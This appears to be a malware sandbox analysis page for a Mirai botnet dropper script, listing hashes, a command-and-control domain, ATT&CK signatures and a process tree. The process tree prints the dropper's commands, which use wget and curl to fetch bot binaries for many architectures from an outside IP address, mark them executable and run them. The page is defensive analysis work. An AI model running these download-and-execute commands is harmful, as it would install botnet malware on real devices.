mirai | a2c4604122ae8071f0e36b882f3ac6dda0aee393c1fdb34db8dc4f66e8734fe8

Analysis

max time kernel
36s
max time network
38s
platform
debian-9_mipsel
resource
debian9-mipsel-20260513-en
resource tags

arch:mipselimage:debian9-mipsel-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
03/10/2026, 16:57

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
jaws.sh
Size 2KB
Sample261003-vgpc1ashkb
SHA256 a2c4604122ae8071f0e36b882f3ac6dda0aee393c1fdb34db8dc4f66e8734fe8
MD5 fd0f7cea7e645edf6e89fe4e52e40746
SHA1 ad267423bbdc88f71d271989c8ccfdde6da504e0
SHA512 aaddb5fcb16e8ef5288f9cfefa1601b5233053e1f02bd8c5286c8c66d6338fe1fd412a319cb05a17f6d78249f4f7d57b567fa2135f322e873d6050af8c854e1a
TLSH
T19F4172C530C54BF82CE3A9D766E90CA8F1C1E1FA55C59FA658FEB4F8585DD043181E82
MD5 SHA1 SHA512 TLSH

Score

10^/10

botnet defense_evasion discovery mirai

Malware Config

Extracted

Family

mirai

sldoaikdjiqwjpdqsas.mooo.com

Signatures

Family: Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai

File and Directory Permissions Modification 1 TTPs 13 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
867	chmod
872	chmod
783	chmod
827	chmod
849	chmod
857	chmod
862	chmod
877	chmod
737	chmod
743	chmod
758	chmod
804	chmod
809	chmod

Deletes itself 12 IoCs

pid	Process
873	WTH
868	WTH
863	WTH
858	WTH
850	WTH
829	WTH
810	WTH
805	WTH
887	WTH
880	WTH
883	WTH
889	WTH

Executes dropped EXE 13 IoCs

ioc	pid	Process
/tmp/WTH	738	jaws.sh
/tmp/WTH	744	jaws.sh
/tmp/WTH	759	jaws.sh
/tmp/WTH	784	jaws.sh
/tmp/WTH	805	jaws.sh
/tmp/WTH	810	jaws.sh
/tmp/WTH	829	jaws.sh
/tmp/WTH	850	jaws.sh
/tmp/WTH	858	jaws.sh
/tmp/WTH	863	jaws.sh
/tmp/WTH	868	jaws.sh
/tmp/WTH	873	jaws.sh
/tmp/WTH	878	jaws.sh

Traces itself 22 IoCs

Traces itself to prevent debugging attempts

pid	Process
759	WTH
784	WTH
805	WTH
810	WTH
829	WTH
850	WTH
858	WTH
863	WTH
868	WTH
873	WTH
878	WTH
886	WTH
888	WTH
881	WTH
879	WTH
885	WTH
880	WTH
887	WTH
883	WTH
884	WTH
882	WTH
889	WTH

Changes its process name 11 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	httpd	829	WTH
Changes the process name, possibly in an attempt to hide itself	httpd	810	WTH
Changes the process name, possibly in an attempt to hide itself	httpd	850	WTH
Changes the process name, possibly in an attempt to hide itself	httpd	858	WTH
Changes the process name, possibly in an attempt to hide itself	httpd	863	WTH
Changes the process name, possibly in an attempt to hide itself	httpd	873	WTH
Changes the process name, possibly in an attempt to hide itself	httpd	805	WTH
Changes the process name, possibly in an attempt to hide itself	httpd	868	WTH
Changes the process name, possibly in an attempt to hide itself	httpd	784	WTH
Changes the process name, possibly in an attempt to hide itself	httpd	759	WTH
Changes the process name, possibly in an attempt to hide itself	httpd	878	WTH

Reads runtime system information 35 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/1/cmdline	WTH
File opened for reading	/proc/1/cmdline	WTH
File opened for reading	/proc/1/cmdline	WTH
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/707/cmdline	WTH
File opened for reading	/proc/707/cmdline	WTH
File opened for reading	/proc/1/cmdline	WTH
File opened for reading	/proc/1/cmdline	WTH
File opened for reading	/proc/707/cmdline	WTH
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/707/cmdline	WTH
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/1/cmdline	WTH
File opened for reading	/proc/1/cmdline	WTH
File opened for reading	/proc/1/cmdline	WTH
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/1/cmdline	WTH
File opened for reading	/proc/707/cmdline	WTH
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/707/cmdline	WTH
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/707/cmdline	WTH
File opened for reading	/proc/707/cmdline	WTH
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/707/cmdline	WTH
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/707/cmdline	WTH
File opened for reading	/proc/1/cmdline	WTH
File opened for reading	/proc/1/cmdline	WTH
File opened for reading	/proc/707/cmdline	WTH
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 3 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
740	wget
741	curl
742	cat

Writes file to tmp directory 35 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/bot.arm7	curl
File opened for modification	/tmp/WTH	WTH
File opened for modification	/tmp/bot.mips	wget
File opened for modification	/tmp/WTH	WTH
File opened for modification	/tmp/WTH	WTH
File opened for modification	/tmp/WTH	jaws.sh
File opened for modification	/tmp/WTH	WTH
File opened for modification	/tmp/bot.x86	wget
File opened for modification	/tmp/bot.arm5	curl
File opened for modification	/tmp/bot.arm6	wget
File opened for modification	/tmp/bot.arm7	wget
File opened for modification	/tmp/bot.sh4	wget
File opened for modification	/tmp/bot.mpsl	wget
File opened for modification	/tmp/bot.ppc	wget
File opened for modification	/tmp/bot.ppc	curl
File opened for modification	/tmp/bot.m68k	curl
File opened for modification	/tmp/bot.arm	wget
File opened for modification	/tmp/bot.spc	curl
File opened for modification	/tmp/bot.i686	curl
File opened for modification	/tmp/bot.sh4	curl
File opened for modification	/tmp/bot.arc	curl
File opened for modification	/tmp/WTH	WTH
File opened for modification	/tmp/bot.mips	curl
File opened for modification	/tmp/bot.mpsl	curl
File opened for modification	/tmp/WTH	WTH
File opened for modification	/tmp/WTH	WTH
File opened for modification	/tmp/bot.arm	curl
File opened for modification	/tmp/bot.arm6	curl
File opened for modification	/tmp/bot.m68k	wget
File opened for modification	/tmp/WTH	WTH
File opened for modification	/tmp/WTH	WTH
File opened for modification	/tmp/WTH	WTH
File opened for modification	/tmp/WTH	WTH
File opened for modification	/tmp/bot.x86	curl
File opened for modification	/tmp/bot.arm5	wget

/tmp/jaws.sh
/tmp/jaws.sh
1⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:707
- /usr/bin/wget
  wget http://23.155.44.87/bot.x86
  2⤵
  - Writes file to tmp directory
  PID:710
- /usr/bin/curl
  curl -O http://23.155.44.87/bot.x86
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:729
- /bin/cat
  cat bot.x86
  2⤵
  PID:736
- /bin/chmod
  chmod +x bot.x86 jaws.sh systemd-private-fa7ea36d327944f09560fa6946291d34-systemd-timedated.service-y1oKCT WTH
  2⤵
  - File and Directory Permissions Modification
  PID:737
- /tmp/WTH
  ./WTH jaws.selfrep
  2⤵
  PID:738
- /usr/bin/wget
  wget http://23.155.44.87/bot.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:740
- /usr/bin/curl
  curl -O http://23.155.44.87/bot.mips
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:741
- /bin/cat
  cat bot.mips
  2⤵
  - System Network Configuration Discovery
  PID:742
- /bin/chmod
  chmod +x bot.mips bot.x86 jaws.sh systemd-private-fa7ea36d327944f09560fa6946291d34-systemd-timedated.service-y1oKCT WTH
  2⤵
  - File and Directory Permissions Modification
  PID:743
- /tmp/WTH
  ./WTH jaws.selfrep
  2⤵
  PID:744
- /usr/bin/wget
  wget http://23.155.44.87/bot.mpsl
  2⤵
  - Writes file to tmp directory
  PID:746
- /usr/bin/curl
  curl -O http://23.155.44.87/bot.mpsl
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:747
- /bin/cat
  cat bot.mpsl
  2⤵
  PID:756
- /bin/chmod
  chmod +x bot.mips bot.mpsl bot.x86 jaws.sh systemd-private-fa7ea36d327944f09560fa6946291d34-systemd-timedated.service-y1oKCT WTH
  2⤵
  - File and Directory Permissions Modification
  PID:758
- /tmp/WTH
  ./WTH jaws.selfrep
  2⤵
  - Deletes itself
  - Traces itself
  - Changes its process name
  - Reads runtime system information
  - Writes file to tmp directory
  PID:759
- /usr/bin/wget
  wget http://23.155.44.87/bot.arm
  2⤵
  - Writes file to tmp directory
  PID:761
- /usr/bin/curl
  curl -O http://23.155.44.87/bot.arm
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:770
- /bin/chmod
  chmod +x bot.arm bot.mips bot.mpsl bot.x86 jaws.sh systemd-private-fa7ea36d327944f09560fa6946291d34-systemd-timedated.service-y1oKCT WTH
  2⤵
  - File and Directory Permissions Modification
  PID:783
- /tmp/WTH
  ./WTH jaws.selfrep
  2⤵
  - Traces itself
  - Changes its process name
  - Reads runtime system information
  - Writes file to tmp directory
  PID:784
- /usr/bin/wget
  wget http://23.155.44.87/bot.arm5
  2⤵
  - Writes file to tmp directory
  PID:785
- /usr/bin/curl
  curl -O http://23.155.44.87/bot.arm5
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:797
- /bin/chmod
  chmod +x bot.arm bot.arm5 bot.mips bot.mpsl bot.x86 jaws.sh systemd-private-fa7ea36d327944f09560fa6946291d34-systemd-timedated.service-y1oKCT WTH
  2⤵
  - File and Directory Permissions Modification
  PID:804
- /tmp/WTH
  ./WTH jaws.selfrep
  2⤵
  - Deletes itself
  - Traces itself
  - Changes its process name
  - Reads runtime system information
  - Writes file to tmp directory
  PID:805
- /usr/bin/wget
  wget http://23.155.44.87/bot.arm6
  2⤵
  - Writes file to tmp directory
  PID:806
- /usr/bin/curl
  curl -O http://23.155.44.87/bot.arm6
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:807
- /bin/chmod
  chmod +x bot.arm bot.arm5 bot.arm6 bot.mips bot.mpsl bot.x86 jaws.sh systemd-private-fa7ea36d327944f09560fa6946291d34-systemd-timedated.service-y1oKCT WTH
  2⤵
  - File and Directory Permissions Modification
  PID:809
- /tmp/WTH
  ./WTH jaws.selfrep
  2⤵
  - Deletes itself
  - Traces itself
  - Changes its process name
  - Reads runtime system information
  - Writes file to tmp directory
  PID:810
- /usr/bin/wget
  wget http://23.155.44.87/bot.arm7
  2⤵
  - Writes file to tmp directory
  PID:811
- /usr/bin/curl
  curl -O http://23.155.44.87/bot.arm7
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:816
- /bin/chmod
  chmod +x bot.arm bot.arm5 bot.arm6 bot.arm7 bot.mips bot.mpsl bot.x86 jaws.sh systemd-private-fa7ea36d327944f09560fa6946291d34-systemd-timedated.service-y1oKCT WTH
  2⤵
  - File and Directory Permissions Modification
  PID:827
- /tmp/WTH
  ./WTH jaws.selfrep
  2⤵
  - Deletes itself
  - Traces itself
  - Changes its process name
  - Reads runtime system information
  - Writes file to tmp directory
  PID:829
- /usr/bin/wget
  wget http://23.155.44.87/bot.ppc
  2⤵
  - Writes file to tmp directory
  PID:830
- /usr/bin/curl
  curl -O http://23.155.44.87/bot.ppc
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:839
- /bin/chmod
  chmod +x bot.arm bot.arm5 bot.arm6 bot.arm7 bot.mips bot.mpsl bot.ppc bot.x86 jaws.sh systemd-private-fa7ea36d327944f09560fa6946291d34-systemd-timedated.service-y1oKCT WTH
  2⤵
  - File and Directory Permissions Modification
  PID:849
- /tmp/WTH
  ./WTH jaws.selfrep
  2⤵
  - Deletes itself
  - Traces itself
  - Changes its process name
  - Reads runtime system information
  - Writes file to tmp directory
  PID:850
- /usr/bin/wget
  wget http://23.155.44.87/bot.m68k
  2⤵
  - Writes file to tmp directory
  PID:851
- /usr/bin/curl
  curl -O http://23.155.44.87/bot.m68k
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:852
- /bin/chmod
  chmod +x bot.arm bot.arm5 bot.arm6 bot.arm7 bot.m68k bot.mips bot.mpsl bot.ppc bot.x86 jaws.sh WTH
  2⤵
  - File and Directory Permissions Modification
  PID:857
- /tmp/WTH
  ./WTH jaws.selfrep
  2⤵
  - Deletes itself
  - Traces itself
  - Changes its process name
  - Reads runtime system information
  - Writes file to tmp directory
  PID:858
- /usr/bin/wget
  wget http://23.155.44.87/bot.spc
  2⤵
  PID:859
- /usr/bin/curl
  curl -O http://23.155.44.87/bot.spc
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:860
- /bin/chmod
  chmod +x bot.arm bot.arm5 bot.arm6 bot.arm7 bot.m68k bot.mips bot.mpsl bot.ppc bot.spc bot.x86 jaws.sh WTH
  2⤵
  - File and Directory Permissions Modification
  PID:862
- /tmp/WTH
  ./WTH jaws.selfrep
  2⤵
  - Deletes itself
  - Traces itself
  - Changes its process name
  - Reads runtime system information
  - Writes file to tmp directory
  PID:863
- /usr/bin/wget
  wget http://23.155.44.87/bot.i686
  2⤵
  PID:864
- /usr/bin/curl
  curl -O http://23.155.44.87/bot.i686
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:865
- /bin/chmod
  chmod +x bot.arm bot.arm5 bot.arm6 bot.arm7 bot.i686 bot.m68k bot.mips bot.mpsl bot.ppc bot.spc bot.x86 jaws.sh WTH
  2⤵
  - File and Directory Permissions Modification
  PID:867
- /tmp/WTH
  ./WTH jaws.selfrep
  2⤵
  - Deletes itself
  - Traces itself
  - Changes its process name
  - Reads runtime system information
  - Writes file to tmp directory
  PID:868
- /usr/bin/wget
  wget http://23.155.44.87/bot.sh4
  2⤵
  - Writes file to tmp directory
  PID:869
- /usr/bin/curl
  curl -O http://23.155.44.87/bot.sh4
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:870
- /bin/chmod
  chmod +x bot.arm bot.arm5 bot.arm6 bot.arm7 bot.i686 bot.m68k bot.mips bot.mpsl bot.ppc bot.sh4 bot.spc bot.x86 jaws.sh WTH
  2⤵
  - File and Directory Permissions Modification
  PID:872
- /tmp/WTH
  ./WTH jaws.selfrep
  2⤵
  - Deletes itself
  - Traces itself
  - Changes its process name
  - Reads runtime system information
  - Writes file to tmp directory
  PID:873
- /usr/bin/wget
  wget http://23.155.44.87/bot.arc
  2⤵
  PID:874
- /usr/bin/curl
  curl -O http://23.155.44.87/bot.arc
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:875
- /bin/chmod
  chmod +x bot.arc bot.arm bot.arm5 bot.arm6 bot.arm7 bot.i686 bot.m68k bot.mips bot.mpsl bot.ppc bot.sh4 bot.spc bot.x86 jaws.sh WTH
  2⤵
  - File and Directory Permissions Modification
  PID:877
- /tmp/WTH
  ./WTH jaws.selfrep
  2⤵
  - Deletes itself
  - Traces itself
  - Changes its process name
  - Reads runtime system information
  - Writes file to tmp directory
  PID:878

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

WTH

Path /tmp/WTH
Size 173KB
SHA256 72363a98be6bc85d3df0001c1be91fe98869c19c20fcf04956b4ea538d58440f
MD5 d458dd1e30271b0ca7934a1c426aaab6
SHA1 b27d880f05f2b6ef634a57a8e2e2f9b7c52c7aab
SHA512 d62d7562198d77b01faf41e11b96844cfdbe47c4030d1e6e7b07b9d9326f1fb78416bbadff0d7b178a2edd09fb4b56eea1478cca0bfa82196718914c0b2cfa46
SSDEEP 3072:5Nziu77DcHpWb/zZyjGkgiQy6Q37jScmyA:nzim7DXCXQY37+cmp
TLSH
T1E004971A6E228F6DF668873047B74E25976D23D627E1D640E2ACC1146F2039E641FFEC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

WTH

Path /tmp/WTH
Size 177KB
SHA256 23adc923f7baacd4afe877f79ea81df13f581ca2350ee99c5151d75d32efdee1
MD5 9dcfde6ac38e1613241e8e848bd8f36c
SHA1 ed0093e2e1ab9ab721969bbe52cc4bee6d4c17f5
SHA512 f96fd6d80b9c588fcd779a1ffdd94ae664dea638daccbff79c74e1c3820ebb762882958c97a7f93a5b21efe74b82087afc8bfa5b348affebd17738eab0beaba1
SSDEEP 1536:vJPeB4LNdHbEunieoNVLUYcI+LDeaD57pQ+z8oy9ZAknjrofYRLLLegwhMTXUtHr:1eB4fbEEkvFcpI08b99OYRzesSCEo6
TLSH
T1B704C81AAF550FBBDCAFCD3706E90B0239CC944722A53B363674D528F54A54B4AE3C68
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

bot.x86

Path /tmp/bot.x86
Size 90KB
SHA256 7b56a0fb93baac5ce50c04fe92b6aa6f95f47f813287d1dd9306ba790ddf23b8
MD5 7d315156fdc19d8975d2fc2d18e3e60c
SHA1 f7619509fe73f48c74afd057ad9a5d1fda9e4298
SHA512 2f1fdee5754e92b4c7a9ede3ca62d3b527a103be200a20b0f99bf34e631b7a1de9e2037ec653f104dbf7411f8c14a52a2aba416e29a67c48b01edcda27c08159
SSDEEP 1536:TJ3hJePd5hW3/FzQ1jqgg6pm41z5DVOqr7m1cE0vBFzSuelm3FnI/a8Iu2HS5Mt:hk1jVg6ptV5DVOq7m10v3klm39IiTymt
TLSH
T152936CC5F683E4F5EC4301B16037E7335B37E5B9102AEA83D3695932ECA1681DA16B9C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

pid	Process
873	WTH
868	WTH
863	WTH
858	WTH
850	WTH
829	WTH
810	WTH
805	WTH
887	WTH
880	WTH
883	WTH
889	WTH

pid	Process
759	WTH
784	WTH
805	WTH
810	WTH
829	WTH
850	WTH
858	WTH
863	WTH
868	WTH
873	WTH
878	WTH
886	WTH
888	WTH
881	WTH
879	WTH
885	WTH
880	WTH
887	WTH
883	WTH
884	WTH
882	WTH
889	WTH

pid	Process
873	WTH
868	WTH
863	WTH
858	WTH
850	WTH
829	WTH
810	WTH
805	WTH
887	WTH
880	WTH
883	WTH
889	WTH

pid	Process
759	WTH
784	WTH
805	WTH
810	WTH
829	WTH
850	WTH
858	WTH
863	WTH
868	WTH
873	WTH
878	WTH
886	WTH
888	WTH
881	WTH
879	WTH
885	WTH
880	WTH
887	WTH
883	WTH
884	WTH
882	WTH
889	WTH

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads

pid	Process
873	WTH
868	WTH
863	WTH
858	WTH
850	WTH
829	WTH
810	WTH
805	WTH
887	WTH
880	WTH
883	WTH
889	WTH

pid	Process
759	WTH
784	WTH
805	WTH
810	WTH
829	WTH
850	WTH
858	WTH
863	WTH
868	WTH
873	WTH
878	WTH
886	WTH
888	WTH
881	WTH
879	WTH
885	WTH
880	WTH
887	WTH
883	WTH
884	WTH
882	WTH
889	WTH